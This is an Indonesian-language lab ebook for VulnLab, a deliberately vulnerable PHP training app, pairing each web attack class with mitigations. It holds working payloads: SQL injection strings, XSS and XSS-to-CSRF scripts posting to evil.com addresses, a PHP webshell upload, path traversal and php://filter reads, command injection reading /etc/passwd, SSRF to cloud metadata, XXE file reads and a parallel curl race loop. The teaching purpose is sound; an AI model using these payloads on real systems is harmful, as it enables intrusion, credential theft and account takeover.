VulnLab β€” Ebook Praktikum Keamanan Aplikasi Web

Native PHP + MariaDB Web Vulnerability Training Laboratory Β· Materi teori & langkah praktikum mendalam

⚠️ PERINGATAN HUKUM & ETIKA
Materi dan lab ini hanya untuk lingkungan terisolasi (VM, localhost, lab network). Dilarang menggunakan teknik ini terhadap sistem yang tidak Anda miliki atau tanpa izin tertulis. Penyalahgunaan dapat melanggar hukum.

Tujuan pembelajaran

  • Memahami akar penyebab (root cause) setiap kelas kerentanan web modern.
  • Mampu mengeksploitasi secara terkendali di lab VulnLab untuk membuktikan dampak.
  • Mampu menulis perbaikan (secure coding) dan membandingkan dengan versi -safe.php.
  • Mengenal pemetaan ke OWASP Top 10 dan CWE.

Prasyarat

  • Dasar HTTP (method, header, cookie, status code).
  • Dasar HTML/JS dan SQL.
  • Browser + proxy opsional (Burp Suite Community / OWASP ZAP).
  • VulnLab sudah ter-install dan dapat diakses.

Setup & Aturan Lab

Default login instruktur/admin
Username: admin Β· Password awal: ChangeMe-VulnLab-2026! (wajib diganti).
Akun demo: student / Student-Lab-2026!

Alur kerja siswa

  1. Login β†’ Dashboard β†’ pilih lab dari menu Labs / Categories.
  2. Baca Objective, OWASP, CWE, Hint.
  3. Buka Open Lab Endpoint (tab baru).
  4. Eksploit sesuai panduan modul ini.
  5. Salin flag format VULNLAB{...} β†’ Submit Flag di halaman lab.
  6. Setelah completed, pelajari Solution & Mitigation; bandingkan *-safe.php.
Flag di-generate konsisten: VULNLAB{KODE-LAB_xxxxxxxxxxxx}. Submit berlebih dibatasi rate-limit agar server kelas tetap stabil.

Metodologi Praktikum

Setiap modul mengikuti pola yang sama agar mudah diulang:

FaseAktivitas
1. TeoriDefinisi, dampak, pemetaan OWASP/CWE
2. Root causeMengapa kode vulnerable (pola salah)
3. PraktikumEndpoint VulnLab, payload, observasi
4. DampakApa yang bisa dicapai attacker
5. MitigasiSecure coding + kontrol arsitektur
6. VerifikasiUji ulang di versi safe

1. Reconnaissance / Information Disclosure

A01:2021 Broken Access Control / A05 Security Misconfiguration CWE-200

Teori

Information disclosure terjadi ketika aplikasi membocorkan data yang membantu attacker (versi software, path internal, source, kredensial, struktur direktori). Recon adalah fase awal metodologi testing: semakin banyak informasi, semakin tepat serangan berikutnya.

Root cause umum

  • Debug mode aktif di environment yang bisa diakses siswa/attacker.
  • Directory listing di web server.
  • File backup (.bak, .old, ~), .git terekspos.
  • Pesan error verbose (stack trace, SQL error).
  • robots.txt / sitemap menunjuk path sensitif.

Praktikum

Buka lab PHP Info Disclosure / endpoint terkait recon. Cari output yang menampilkan versi PHP, extension, path document root.
Lab Robots / Sensitive paths: buka /robots.txt di root VulnLab. Catat path yang di-Disallow β€” sering justru menjadi petunjuk target.
Lab error verbose: picu input invalid dan amati apakah SQL/PHP error menampilkan struktur query atau path file.
Dokumentasikan temuan (versi, path, user DB jika bocor). Submit flag sesuai instruksi lab.

Mitigasi

  • Matikan display_errors di production; log ke file privat.
  • Nonaktifkan directory listing; blok akses .git, backup, .env.
  • Jangan expose phpinfo() di environment yang bisa dijangkau peserta di luar skenario lab.

2. Authentication

A07:2021 Identification and Authentication Failures CWE-287 CWE-640 CWE-307

Teori

Authentication menjawab: β€œSiapa Anda?” Kegagalan meliputi password lemah, default credential, tidak ada proteksi brute-force, token reset yang dapat ditebak, session fixation, dan bypass autentikasi.

Praktikum A β€” Default & weak password

  1. Buka lab Default Credentials / Weak Password.
  2. Coba kredensial umum lab atau password pendek. Amati apakah kebijakan password ditegakkan.
  3. Catat flag jika login berhasil sesuai skenario lab.

Praktikum B β€” Username enumeration

  1. Lab Username Enumeration: kirim login dengan user ada vs tidak ada.
  2. Bandingkan pesan error, status code, atau waktu respons.
  3. Perbedaan respons = enumerasi. Di aplikasi nyata ini memudahkan targeted attack.

Praktikum C β€” Password reset flaw (AUTH-005)

Endpoint: /labs/authentication/reset.php

Root cause: token = md5(username + tanggal YYYY-MM-DD) β€” dapat dihitung offline.
  1. Request reset untuk user student (atau user target).
  2. Hitung token: di terminal echo -n "student$(date +%Y-%m-%d)" | md5sum (sesuaikan tanggal server).
  3. Atau gunakan token yang ditampilkan lab (sengaja bocor untuk pembelajaran).
  4. Submit token + password baru β†’ dapat flag.
# Contoh hitung token (Linux)
php -r "echo md5('student' . date('Y-m-d'));"

Praktikum D β€” Auth bypass

Beberapa lab menerima parameter seperti admin=true atau melewati cek session. Intercept request (DevTools / proxy), ubah parameter, amati apakah area terlindungi terbuka.

Mitigasi

  • Password policy + hashing modern (password_hash / Argon2id / bcrypt).
  • Rate limiting & account lockout / CAPTCHA setelah N gagal.
  • Token reset: random 32+ byte, sekali pakai, expiry pendek, simpan hash-nya saja.
  • Pesan error generik: β€œInvalid username or password.”
  • session_regenerate_id(true) setelah login sukses.

3. Authorization (IDOR, Privilege Escalation)

A01:2021 Broken Access Control CWE-639 CWE-269 CWE-862

Teori

Authorization menjawab: β€œBolehkah Anda melakukan aksi ini pada objek ini?” IDOR (Insecure Direct Object Reference) / BOLA terjadi ketika identifier objek (id, filename) dapat diganti tanpa pengecekan kepemilikan di server.

Praktikum A β€” IDOR Profile (AUTHZ-001)

Endpoint: /labs/authorization/idor-profile.php

  1. Lab mensimulasikan Anda sebagai user id 3.
  2. Buka ?id=3 (profil sendiri), lalu ?id=1 dan ?id=2.
  3. Jika data user lain tampil β†’ IDOR terbukti. Flag muncul saat mengakses id β‰  3.
GET /labs/authorization/idor-profile.php?id=1

Praktikum B β€” IDOR Documents (AUTHZ-002)

  1. Buka ?doc=1 (milik Anda), lalu ?doc=2 (milik admin, privat).
  2. Dokumen privat user lain yang terbaca = IDOR pada objek dokumen.

Praktikum C β€” Vertical privilege escalation (AUTHZ-004)

  1. Form menyimpan role di hidden field bernilai student.
  2. Intercept POST (DevTools β†’ Network β†’ Edit) ubah role=admin.
  3. Server yang memercayai input client akan membuka admin panel + flag.

Praktikum D β€” Role cookie tampering (AUTHZ-008)

  1. Cookie user_role dapat diubah di Application β†’ Cookies.
  2. Set user_role=admin, refresh β†’ area admin + flag.

Mitigasi

  • Setiap query objek: WHERE id = ? AND owner_id = ? (atau cek di layer otorisasi).
  • Role/permission hanya dari session server, jangan dari form/cookie client.
  • Deny by default; tes negatif (user A tidak boleh baca objek B).

Bandingkan dengan idor-profile-safe.php dan vertical-safe.php.

4. SQL Injection

A03:2021 Injection CWE-89 Easy–Hard

Teori mendalam

SQL Injection terjadi ketika input pengguna digabung ke query SQL sebagai kode, bukan sebagai data. Attacker mengubah struktur query: memotong string, menambah kondisi, menggabungkan hasil (UNION), atau mengekstrak data secara buta (boolean/time).

Klasifikasi yang dilatih di VulnLab

JenisLab codeCiri
Login / tautologiSQLI-001' OR '1'='1
Search / stringSQLI-002, 004Inject di LIKE / string
NumericSQLI-003Tanpa quote; 1 OR 1=1
ORDER BYSQLI-005Kolom/sort tidak di-allowlist
UNIONSQLI-012Samakan jumlah kolom
Boolean blindSQLI-010Respons beda true/false
Second-orderSQLI-011Simpan dulu, inject saat dipakai

Praktikum A β€” Login SQLi (SQLI-001)

Endpoint: /labs/sqli/login.php

Kode vulnerable (pola):
$sql = "SELECT * FROM users WHERE username = '$user' AND password = '$pass'";
  1. Username: admin' OR '1'='1' -- (spasi setelah -- penting di MySQL).
  2. Password: sembarang.
  3. Query menjadi selalu benar β†’ login sukses β†’ flag.
Username: ' OR 1=1--
Password: x

Praktikum B β€” Numeric (SQLI-003)

?id=1 OR 1=1
?id=1 UNION SELECT 1,username,password FROM users--

Karena parameter numerik, sering tanpa tanda kutip. Pastikan jumlah kolom UNION sesuai.

Praktikum C β€” UNION (SQLI-012)

  1. Tentukan jumlah kolom: ' ORDER BY 3-- vs ORDER BY 4--.
  2. Lab filter memakai 3 kolom. Contoh:
' UNION SELECT 1,username,email FROM users--

Praktikum D β€” Boolean blind (SQLI-010)

?id=1 AND 1=1   β†’ Product exists
?id=1 AND 1=2   β†’ not found
?id=1 AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'

Ekstraksi karakter demi karakter berdasarkan perbedaan respons.

Praktikum E β€” Second-order (SQLI-011)

  1. Pada form β€œdisplay name”, simpan payload: admin' OR '1'='1
  2. Klik View Profile β€” nilai tersimpan dijalankan di query kedua.
  3. Flag muncul jika injeksi pada tahap kedua berhasil.

Mitigasi (wajib dipahami)

// AMAN β€” prepared statement
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = ?');
$stmt->execute([$user]);

// ORDER BY: allowlist, jangan concat input
$allowed = ['name','price','id'];
$sort = in_array($_GET['sort'] ?? '', $allowed, true) ? $_GET['sort'] : 'name';

Buka setiap *-safe.php di folder labs/sqli/ dan bandingkan.

5. Cross-Site Scripting (XSS)

A03:2021 Injection CWE-79

Teori

XSS terjadi ketika data yang dikontrol attacker diinterpretasikan browser sebagai kode JavaScript/HTML. Dampak: pencurian session cookie (jika tanpa HttpOnly), defacement, CSRF via browser korban, keylogging.

JenisPenyimpananLab
ReflectedLangsung di responsXSS-001
StoredDB, tampil ke user lainXSS-002
DOMClient-side JS sinkXSS-003
AttributeDi dalam atribut HTMLXSS-004
Filter bypassFilter lemahXSS-009

Praktikum A β€” Reflected (XSS-001)

Endpoint: /labs/xss/reflected.php

?q=<script>alert(1)</script>
?q=<img src=x onerror=alert(1)>

Output sengaja tidak di-encode. Flag ditampilkan di halaman untuk pembelajaran (di CTF nyata flag bisa di document.cookie dummy).

Praktikum B β€” Stored (XSS-002)

Endpoint: /labs/xss/stored.php

  1. Post komentar: <script>alert('XSS')</script>
  2. Refresh β€” skrip dieksekusi setiap kali halaman dimuat.
  3. Ini lebih berbahaya: korban cukup membuka halaman.

Praktikum C β€” DOM XSS (XSS-003)

# Setelah URL halaman, tambahkan hash:
.../dom.php#<img src=x onerror=alert(1)>

JS memakai innerHTML + location.hash. Perbaikan: textContent.

Praktikum D β€” Filter bypass (XSS-009)

Filter hanya menghapus string <script. Bypass contoh:

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

Mitigasi

  • Output encoding kontekstual: HTML body β†’ htmlspecialchars($s, ENT_QUOTES, 'UTF-8').
  • Atribut: encode + ideally allowlist.
  • CSP (script-src 'self') sebagai lapisan tambahan.
  • Cookie session: HttpOnly, Secure, SameSite.

6. Cross-Site Request Forgery (CSRF)

A01:2021 CWE-352

Teori

Browser otomatis mengirim cookie session ke situs target. Jika request perubahan state (ganti email, transfer) tidak dilindungi token anti-CSRF, situs attacker dapat memicu aksi atas nama korban yang sedang login.

Praktikum β€” POST CSRF (CSRF-002)

Endpoint: /labs/csrf/post-csrf.php

  1. Login lab / buka halaman (session aktif).
  2. Ubah email lewat form β€” berhasil tanpa token.
  3. Simulasikan serangan: buat file HTML lokal:
<form method="POST" action="http://localhost/VulnLab/labs/csrf/post-csrf.php">
  <input name="email" value="attacker@evil.com">
</form>
<script>document.forms[0].submit();</script>
  1. Buka file tersebut saat masih login VulnLab β†’ email berubah β†’ flag.

Mitigasi

// Token per session
$_SESSION['csrf'] = bin2hex(random_bytes(32));
// Form: hidden input
// Server: hash_equals($_SESSION['csrf'], $_POST['csrf_token'])
// Plus SameSite=Lax/Strict pada cookie session

7. File Upload

A04:2021 Insecure Design / A01 CWE-434

Teori

Upload tanpa validasi memungkinkan webshell. Bypass umum: blacklist lemah, double extension, Content-Type palsu, karakter khusus, path traversal pada nama file.

Praktikum A β€” Unrestricted (FILE-001)

Endpoint: /labs/file/upload.php (max 1 MB untuk stabilitas kelas)

  1. Buat file shell.php berisi <?php echo "ok"; ?>.
  2. Upload β†’ flag jika ekstensi PHP diterima.

Praktikum B β€” Extension blacklist (FILE-002)

Blacklist: php, phtml, … Coba variasi yang masih lolos filter lab (double ext, dll.).

Praktikum C β€” Double extension (FILE-004)

Nama file: shell.php.jpg
Validator hanya cek ekstensi terakhir == jpg β†’ diterima.

Mitigasi

  • Allowlist ekstensi + verifikasi MIME server-side + magic bytes.
  • Simpan di luar document root atau non-executable; nama file random.
  • Jangan percaya Content-Type dari client.

8. Path Traversal

CWE-22

Teori

Sequence ../ menavigasi ke direktori induk. Jika digabung ke path file tanpa normalisasi, attacker membaca file di luar folder yang diizinkan.

Praktikum (TRAV-001, TRAV-002)

Endpoint: /labs/traversal/read.php, encoded.php

?file=public.txt
?file=secret.txt
?file=../labfiles/secret.txt
# Filter lemah hanya hapus "../" literal:
?file=....//....//secret.txt
?file=%2e%2e%2fsecret.txt

Target pembelajaran: file di storage/labfiles/. Bandingkan read-safe.php yang memakai realpath + cek prefix direktori dasar.

9. Local File Inclusion (LFI) & Wrapper

CWE-98

Teori

LFI: input user masuk ke include/require/file_get_contents. PHP wrappers (php://filter) sering dipakai untuk membaca source sebagai base64 tanpa mengeksekusi.

Praktikum Basic LFI (LFI-001)

?page=public
?page=secret
?page=flag

Praktikum Wrapper (LFI-004)

?resource=php://filter/convert.base64-encode/resource=../../includes/functions.php

Decode base64 hasilnya untuk membaca source. Flag diberikan saat pola wrapper terdeteksi.

Mitigasi

  • Allowlist nama halaman; mapping ke file tetap di kode.
  • Jangan pernah concat user input ke include.
  • Blok wrapper berbahaya; open_basedir sebagai defense in depth.

10. Command Injection

CWE-78 CWE-88

Di VulnLab, command injection disandbox: tidak menjalankan shell host secara nyata. Flag diberikan saat pola metacharacter terdeteksi β€” fokus pada pemahaman, bukan RCE pada mesin instruktur.

Teori

Input digabung ke perintah OS (system, exec, shell_exec). Metacharacter shell: ; | & && || ` $() memisahkan atau menyambung perintah.

Praktikum (CMD-001, CMD-004)

Endpoint: /labs/command/ping.php, shell.php

?host=127.0.0.1;id
?host=127.0.0.1 && whoami
?cmd=echo hello; cat /etc/passwd

Mitigasi

  • Hindari shell; gunakan API bahasa / argument array tanpa shell.
  • Allowlist argumen (host hanya IP valid).
  • escapeshellarg jika terpaksa (tetap berisiko).

11. Server-Side Request Forgery (SSRF)

A10:2021 CWE-918

Teori

Server diminta mengambil URL yang dikontrol attacker. Dipakai untuk pindai jaringan internal, akses cloud metadata, atau bypass firewall. VulnLab membatasi host ke allowlist edukatif.

Praktikum Localhost (SSRF-001)

?url=http://127.0.0.1/
?url=http://localhost/...

Praktikum Metadata (SSRF-005)

?url=http://169.254.169.254/latest/meta-data/

Respons JSON simulasi berisi flag. Di cloud nyata, metadata sering memuat credentials sementara.

Mitigasi

  • Allowlist skema + host; blok IP private/metadata.
  • Jangan follow redirect ke host di luar allowlist.
  • Network egress control dari server aplikasi.

12. API Security

A01 / A02 / A07

Praktikum

LabLangkah
Missing Auth (API-001) Buka api-noauth.php β€” JSON user list tanpa token β†’ flag di respons.
BOLA (API-002) api-bola.php?id=1 saat β€œlogin” sebagai user 3 β†’ data user lain.
Excessive data (API-003) Respons memuat hash password; pelajari least data exposure.
Mass assignment (API-004) POST JSON {"id":3,"role":"admin"} β†’ eskalasi.
API key leak (API-007) View source / JS β€” key hardcoded β†’ klik tombol dapat flag.
curl -s 'http://localhost/VulnLab/labs/api/api-bola.php?id=1'
curl -s -X POST http://localhost/VulnLab/labs/api/api-mass.php \
  -H 'Content-Type: application/json' \
  -d '{"id":3,"role":"admin"}'

13. Business Logic

Price manipulation (BIZ-001)

Endpoint: /labs/business/price.php β€” ubah field price di form ke nilai lebih kecil sebelum checkout. Server yang memercayai harga client = logic flaw.

Coupon abuse (BIZ-003)

Kupon diterapkan tanpa menandai sudah dipakai β†’ bisa diulang. Bandingkan dengan desain atomic di lab race yang aman.

Mitigasi

Harga, stok, diskon, status workflow dihitung ulang di server dari database; client hanya kirim id produk + qty.

14. Cryptography & Secrets

MD5 passwords (CRYPTO-001)

Login dengan password lemah atau crack hash yang ditampilkan. MD5 tanpa salt tidak diterima untuk password modern.

Hardcoded secret (CRYPTO-004)

Baca source lab; temukan sk_live_...; kirim ?key=....

Mitigasi

  • password_hash / password_verify.
  • Secret di environment variable / secret manager, bukan di repo.
  • Token: CSPRNG (random_bytes), bukan md5(user+date).

15. Session Security

Weak cookie (SESS-001)

Cookie WEAKSESS=user_{id}_{YYYYMMDD}. Set ke user_1_ + tanggal hari ini β†’ role admin + flag.

Mitigasi

Session id random panjang; HttpOnly, Secure, SameSite; regenerate on login; timeout idle.

16. PHP Object Injection / Deserialization

CWE-502 Hard

Sandbox: hanya write ke storage/deser/ dan read labfiles β€” tidak ada RCE host.

Teori

unserialize() pada data user dapat memanggil magic method (__destruct, __toString, …) pada objek gadget di classpath (POP chain).

Praktikum (DESER-001)

Endpoint: /labs/deserialization/unserialize.php

  1. Salin contoh serialized LabLogger dari halaman.
  2. POST ke form β†’ objek di-unserialize β†’ flag.
  3. Eksperimen ubah property serialized (panjang string harus konsisten).

Mitigasi

Jangan unserialize data tidak terpercaya. Prefer JSON. Jika terpaksa: allowed_classes ketat atau hindari sama sekali.

17. PHP Specific β€” Type Juggling

Praktikum (PHP-003)

Perbandingan == longgar: string 0e... dianggap scientific notation = numerik 0.

// Jika secret = '0e1234...'
// Input '0e999' atau '0' dapat lolos dengan ==
password: 0e123456789012345678901234567890

Atau coba nilai yang juga β€œ0e” + digits. Mitigasi: === dan hash_equals.

18. Server-Side Template Injection (SSTI)

CWE-1336

Praktikum (SSTI-001)

?name={{7*7}}
?name={{config}}   # pada engine nyata; di simulator lab cukup {{...}}

Lab mensimulasikan evaluasi ekspresi aman; flag saat pola template injection terdeteksi. Di dunia nyata SSTI pada Twig/Jinja/Smarty dapat berujung RCE.

19. XML External Entity (XXE)

CWE-611

Praktikum (XXE-001)

Endpoint: /labs/advanced/xxe.php

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///path/to/VulnLab/storage/labfiles/secret.txt">
]>
<foo>&xxe;</foo>

Gunakan path absolut yang ditampilkan contoh di halaman lab. Parser dengan entity expansion akan membaca file.

Mitigasi

Nonaktifkan external entity; libxml_disable_entity_loader(true); prefer JSON bila memungkinkan.

20. HTTP Security, Headers, CORS, Open Redirect

Open Redirect (REDIR-001)

?next=https://evil.example/&go=1

Validasi allowlist path relatif internal saja.

CORS (CORS-001)

API merefleksikan Origin + Access-Control-Allow-Credentials: true. Dari origin lain, JavaScript dapat membaca respons berautentikasi. Mitigasi: allowlist origin eksplisit, jangan reflect sembarang.

Clickjacking (HDR-003)

Halaman tanpa X-Frame-Options / CSP frame-ancestors dapat di-iframe. Attacker menumpuk tombol transparan di atas tombol β€œConfirm”.

Host header (HTTP-001)

Link reset password dibangun dari HTTP_HOST. Spoof header Host lewat proxy β†’ link mengarah ke domain attacker.

21. Race Condition

CWE-362

Praktikum (RACE-001)

Endpoint: /labs/business/race-coupon.php β€” kupon RACE50 max 1x pakai, ada delay 100ms antara cek dan update.

  1. Reset kupon di halaman.
  2. Kirim banyak POST paralel (script atau Burp Intruder) dengan code RACE50.
  3. Jika used_count > max_uses β†’ race berhasil β†’ flag.
# Contoh kasar paralel (Linux)
for i in $(seq 1 20); do
  curl -s -X POST -d 'code=RACE50' \
    'http://localhost/VulnLab/labs/business/race-coupon.php' &
done
wait

Mitigasi

UPDATE coupons SET used_count = used_count + 1
WHERE code = ? AND used_count < max_uses;
-- cek rowCount === 1

22. Advanced / Chained Attacks

XSS β†’ CSRF (ADV-001)

Endpoint: /labs/advanced/chain-xss-csrf.php

  1. Temukan reflected XSS di parameter q.
  2. Payload XSS yang me-submit form ganti email (tanpa token CSRF), contoh konsep:
<script>
fetch('chain-xss-csrf.php', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'email=owned@evil.com',
  credentials: 'include'
});
</script>

Korban yang membuka URL dengan payload akan memicu perubahan email + flag.

Checklist Instruktur

  • ☐ VM/snapshot siap; network terisolasi.
  • ☐ health.php mengembalikan status: ok.
  • ☐ install.php sudah dihapus/dikunci.
  • ☐ Siswa punya akun sendiri (register) atau akun demo.
  • ☐ Jelaskan aturan etika sebelum praktikum.
  • ☐ Siapkan waktu review versi -safe.php setelah eksploit.

Referensi

  • OWASP Top 10 (2021) β€” owasp.org
  • OWASP Web Security Testing Guide (WSTG)
  • CWE Mitre β€” cwe.mitre.org
  • PHP Security: password_hash, prepared statements, htmlspecialchars
  • VulnLab README & docs/CLASSROOM_STABILITY.md
VulnLab Ebook Praktikum Β· Selaras dengan source lab interaktif di paket VulnLab.zip
Gunakan bersama aplikasi: buka lab β†’ ikuti modul β†’ submit flag β†’ pelajari mitigasi.

Β© VulnLab Educational Project β€” Hanya untuk pelatihan di lingkungan terisolasi.